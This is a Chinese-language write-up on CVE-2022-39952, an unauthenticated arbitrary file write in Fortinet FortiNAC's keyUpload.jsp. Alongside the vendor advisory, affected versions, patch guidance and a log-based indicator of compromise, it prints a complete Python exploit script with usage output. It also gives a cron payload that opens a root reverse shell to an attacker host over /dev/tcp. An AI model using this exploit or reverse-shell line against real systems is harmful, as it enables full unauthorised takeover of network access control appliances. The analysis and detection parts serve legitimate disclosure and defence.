漏洞描述
Fortinet FortiNAC 版本 9.4.0、9.2.0 至 9.2.5、9.1.0 至 9.1.7、8.8.0 至 8.8.11、8.7.0 至 8.7.6、8.6 中的文件名或路径的外部控制。 0 到 8.6.5、8.5.0 到 8.5.4、8.3.7 可能允许未经身份验证的攻击者通过特制的 HTTP 请求执行未经授权的代码或命令。
这是一个影响 Fortinet 网络访问控制解决方案 FortiNAC 的严重漏洞,滥用 keyUpload.jsp 端点来实现任意文件写入。
“类似于之前允许任意文件写入的存档漏洞问题的武器化,我们利用这个漏洞将计划任务写入 /etc/cron.d/payload。这个 cron 作业每分钟都会触发一次,并向攻击者发起一个反向 shell。
“我们首先创建一个包含文件的 zip 文件,并指定我们希望将其提取的路径。然后,我们将恶意 zip 文件发送.到关键字段中的易受攻击端点。一分钟之内,我们就以 root 用户的身份获得了一个反向 shell。”
影响范围
IR | FG-IR-22-300 |
日期 | 2023 年 2 月 16 日 |
严重程度 | 严重 |
CVSSv3 分数 | 9.8 |
影响 | 执行未经授权的代码或命令 |
漏洞编号 | CVE-2022-39952 |
受影响的产品 | FortiNAC: 9.4.0、9.2.5、9.2.4、9.2.3、9.2.2、9.2.1、9.2.0、9.1.7、9.1.6、9.1.5、9.1.4、9.1.3、 9.1.2、9.1.1、9.1.0、8.8.9、8.8.8、8.8.7、8.8.6、8.8.5、8.8.4、8.8.3、8.8.2、8.8.11、8.8。 10, 8.8.1, 8.8.0, 8.7.6, 8.7.5, 8.7.4, 8.7.3, 8.7.2, 8.7.1, 8.7.0, 8.6.5, 8.6.4, 8.6.3, 8.6.2、8.6.1、8.6.0、8.5.4、8.5.3、8.5.2、8.5.1、8.5.0、8.3.7 |
CVRF | 下载 |
PSIRT 公告
www.fortiguard.com/psirt/FG-IR-22-300
FortiNAC – keyUpload 脚本中文件名或路径的外部控制
概括
FortiNAC 网络服务器中的文件名或路径漏洞 [CWE-73] 的外部控制,可能允许未经身份验证的攻击者在系统上执行任意写入。
受影响的产品
FortiNAC 版本 9.4.0
FortiNAC 版本 9.2.0 到 9.2.5
FortiNAC 版本 9.1.0 到 9.1.7
FortiNAC 8.8 所有版本
FortiNAC 8.7 所有版本
FortiNAC 8.6 所有版本
FortiNAC 8.5 所有版本
FortiNAC 8.3 所有版本
解决方案
请升级至FortiNAC 9.4.1或以上版本
请升级至FortiNAC 9.2.6或以上版本
请升级至FortiNAC 9.1.8或以上版本
请升级至FortiNAC 7.2.0或以上版本
致谢
由 Fortinet 产品安全团队的 Gwendal Guégniaud 内部发现和报告。
漏洞分析
提取系统
从设备中提取文件系统很简单,首先从 vmdk 中列出可挂载的文件系统路径:
sudo virt-filesystems --filesystems -a fortinac-9.4.1.0726.vmdk
接下来,我们将文件系统挂载到我们创建的目录中:
sudo guestmount -a fortinac-9.4.1.0726.vmdk -m /dev/centos/root --ro /tmp/fnac941
漏洞
从易受攻击的和已打补丁的 vmdk 中提取两个文件系统后,很明显该文件/bsc/campusMgr/ui/ROOT/configWizard/keyUpload.jsp
已在补丁中删除,并且与公告中提到的 servlet 的名称相匹配。
检查 keyUpload.jsp 的内容,我们看到未经身份验证的端点将解析在参数中提供文件的请求key
,如果找到,则将其写入/bsc/campusMgr/config.applianceKey
.
成功写入文件后,调用Runtime().Exec()
执行位于/bsc/campusMgr/bin/configApplianceXml
.
bash 脚本对刚刚写入的文件调用解压缩。立即,看到对攻击者控制的文件的调用让我们回想起我们最近看到的一些滥用存档解包的漏洞。虽然我们最初的想法是围绕目录遍历问题,但 unzip 有助于剥离相对路径并防止遍历。
这个问题其实要简单得多,不需要遍历。就在调用解压缩之前,bash 脚本调用cd /
. 解压缩将允许将文件放置在任何路径中,只要它们不遍历当前工作目录之上。因为工作目录是/
,所以 bash 脚本内部的调用unzip
允许写入任意文件。
漏洞武器化
类似于之前允许任意文件写入的存档漏洞问题的武器化,我们利用这个漏洞将一个 cron 作业写入/etc/cron.d/payload
. 此 cron 作业每分钟触发一次,并向攻击者启动反向 shell。
我们首先创建一个包含文件的 zip 文件,并指定我们希望将其解压缩的路径。然后,我们将恶意 zip 文件发送到现场的易受攻击端点key
。一分钟之内,我们以 root 用户获得了一个反向 shell。我们的概念证明漏洞利用自动化这可以在我们的GitHub上找到。
侵害指标(IOC)
注释:
Indicators of Compromise的中文翻译为”入侵指标”,也可以简称为”IOC”。该术语通常用于计算机网络安全领域,表示一些可疑活动或攻击的迹象,例如异常的网络流量、异常登录行为、恶意软件、未授权访问等。通过分析这些IOC,可以发现潜在的安全威胁并及时采取措施进行应对。
不幸的是,除非已添加许可证密钥,否则 FortiNAC 设备不允许访问 GUI,因此没有本机 GUI 日志可用于检查指标。但是,在位于/bsc/logs/output.master
. Running configApplianceXml
具体来说,只要攻击者没有清除此日志文件,您就可以检查该行已查看是否被入侵。
可以通过多种方式滥用任意文件写入漏洞来获取远程代码执行。在这种情况下,我们将 cron 作业写入/etc/cron.d/
,但攻击者还可以在定期执行的系统上覆盖二进制文件或将 SSH 密钥写入用户配置文件。
CVE-2022-39952 POC
该漏洞利用的默认配置是编写一个 cron 作业来创建一个反向 shell。请务必更改payload
文件以适应您的环境。
CVE-2022-39952.py
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()
def exploit(target):
url = f'https://{target}:8443/configWizard/keyUpload.jsp'
r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
if 'SuccessfulUpload' in r.text:
print(f'[+] Payload successfully delivered')
def make_zip(payload_file):
fullpath = '/etc/cron.d/payload'
zf = zipfile.ZipFile('payload.zip', 'w')
zf.write(payload_file, fullpath)
zf.close()
print(f'[+] Wrote {payload_file} to {fullpath}')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
args = parser.parse_args()
make_zip(args.file)
exploit(args.target)
payload
注意:
请务必更改payload
文件以适应您的环境。
* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1
用法
root@kali:~/CVE-2022-39952# python3 CVE-2022-39952.py --target 10.0.40.85 --file payload
[+] Wrote payload to /etc/cron.d/payload
[+] Payload successfully delivered
故障排除
如果使用基于 cron 的payload,请确保payload文件具有适当的权限和所有者:
sudo chown root:root payload
sudo chmod 0644 payload
POC地址
GitHub:
https://github.com/horizon3ai/CVE-2022-39952
参考链接:
https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/